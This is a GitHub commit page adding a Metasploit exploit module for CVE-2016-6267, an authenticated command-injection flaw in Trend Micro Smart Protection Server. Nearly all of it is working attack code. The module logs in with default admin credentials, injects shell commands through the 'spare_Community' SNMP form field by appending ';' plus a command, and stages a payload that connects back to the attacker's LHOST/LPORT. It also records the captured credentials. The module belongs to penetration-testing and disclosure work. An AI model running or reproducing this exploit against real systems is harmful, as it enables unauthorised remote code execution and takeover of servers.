Skip to content

Commit 4ae90cb

Browse files
committed
Land rapid7#7191, Add exploit for CVE-2016-6267 - Trend Micro Smart Protection Server authenticated RCE.
2 parents 4e40546 + c7b775a commit 4ae90cb

File tree

1 file changed

+208
-0
lines changed

1 file changed

+208
-0
lines changed
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'openssl'
8+
require 'base64'
9+
10+
class MetasploitModule < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::CmdStager
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
21+
Please note: authentication is required to exploit this vulnerability.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
27+
],
28+
'References' =>
29+
[
30+
['CVE-ID', 'CVE-2016-6267']
31+
],
32+
'Platform' => 'linux',
33+
'Targets' => [ [ 'Linux', {} ] ],
34+
'Payload' => { 'BadChars' => "\x00" },
35+
'CmdStagerFlavor' => [ 'bourne' ],
36+
'Privileged' => false,
37+
'DefaultOptions' =>
38+
{
39+
'SSL' => true
40+
},
41+
'DisclosureDate' => "Aug 8 2016",
42+
'DefaultTarget' => 0))
43+
44+
register_options(
45+
[
46+
OptBool.new('SSL', [ true, 'Use SSL', true ]),
47+
OptString.new('TARGETURI', [true, 'The base path', '/']),
48+
OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
49+
OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
50+
OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
51+
OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
52+
], self.class)
53+
end
54+
55+
56+
def check
57+
opts = login
58+
if opts
59+
uri = target_uri.path
60+
res = send_request_cgi({
61+
'method' => 'GET',
62+
'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
63+
'headers'=>
64+
{
65+
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
66+
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
67+
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
68+
}
69+
})
70+
if res and res.code == 200
71+
version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
72+
build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
73+
print_status("TrendMicro Smart Protection Server detected.")
74+
print_status("Version: #{version}")
75+
print_status("Build: #{build}")
76+
if (version == 3.0 and build < 1330) or
77+
(version == 2.6 and build < 2106) or
78+
(version == 2.5 and build < 2200)
79+
return Exploit::CheckCode::Vulnerable
80+
else
81+
return Exploit::CheckCode::Safe
82+
end
83+
end
84+
end
85+
Exploit::CheckCode::Unknown
86+
end
87+
88+
89+
def execute_command(cmd, opts = {})
90+
uri = target_uri.path
91+
send_request_cgi({
92+
'method' => 'POST',
93+
'version' => '1.0',
94+
'timeout' => 1,
95+
'uri' => normalize_uri(uri, 'php/admin_notification.php'),
96+
'ctype' => 'application/x-www-form-urlencoded',
97+
'headers'=>
98+
{
99+
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
100+
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
101+
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
102+
},
103+
'vars_post' => {
104+
'EnableSNMP' => 'on',
105+
'Community' => 'hello',
106+
'submit' => 'Save',
107+
'pubkey' => '',
108+
'spare_EnableSNMP' => 1,
109+
'spare_Community' => "test;#{cmd}",
110+
'spare_EnableIPRestriction' => 0,
111+
'spare_AllowGroupIP' => '',
112+
'spare_AllowGroupNetmask' => '',
113+
'sid' => opts["sid"]
114+
}
115+
})
116+
end
117+
118+
def login
119+
uri = target_uri.path
120+
res = send_request_cgi({
121+
'method' => 'GET',
122+
'uri' => normalize_uri(uri, 'index.php'),
123+
})
124+
if res and res.code == 200 and !res.get_cookies.empty?
125+
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
126+
sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
127+
n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
128+
nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
129+
asn1_sequence = OpenSSL::ASN1::Sequence.new(
130+
[
131+
OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
132+
OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
133+
]
134+
)
135+
public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
136+
creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
137+
data = Base64.encode64(public_key.public_encrypt(creds))
138+
res = send_request_cgi({
139+
'method' => 'POST',
140+
'uri' => normalize_uri(uri, "auth.php"),
141+
'ctype' => 'application/x-www-form-urlencoded',
142+
'headers'=>
143+
{
144+
'Cookie' => "#{sid}=#{sid_value}",
145+
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
146+
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
147+
},
148+
'vars_post' => {
149+
'data' => data,
150+
'sid' => sid
151+
}
152+
})
153+
if res and res.code == 302
154+
if res.headers.key?('Set-Cookie')
155+
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
156+
sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
157+
end
158+
report_cred(
159+
ip: datastore['RHOST'],
160+
port: datastore['RPORT'],
161+
service_name: (ssl ? "https" : "http"),
162+
user: datastore['ADMINACCOUNT'],
163+
password: datastore['ADMINPASS'],
164+
proof: "#{sid}=#{sid_value}"
165+
)
166+
return {"sid" => sid, "sid_value" => sid_value}
167+
end
168+
end
169+
nil
170+
end
171+
172+
def report_cred(opts)
173+
service_data = {
174+
address: opts[:ip],
175+
port: opts[:port],
176+
service_name: opts[:service_name],
177+
protocol: 'tcp',
178+
workspace_id: myworkspace_id
179+
}
180+
181+
credential_data = {
182+
origin_type: :service,
183+
module_fullname: fullname,
184+
username: opts[:user],
185+
private_data: opts[:password],
186+
private_type: :password
187+
}.merge(service_data)
188+
189+
login_data = {
190+
core: create_credential(credential_data),
191+
status: Metasploit::Model::Login::Status::UNTRIED,
192+
proof: opts[:proof]
193+
}.merge(service_data)
194+
195+
create_credential_login(login_data)
196+
end
197+
198+
def exploit
199+
opts = login
200+
if opts
201+
print_status("Successfully logged in.")
202+
print_status("Exploiting...")
203+
execute_cmdstager(opts=opts)
204+
else
205+
print_error("An error occured while loggin in.")
206+
end
207+
end
208+
end

0 commit comments

Comments
 (0)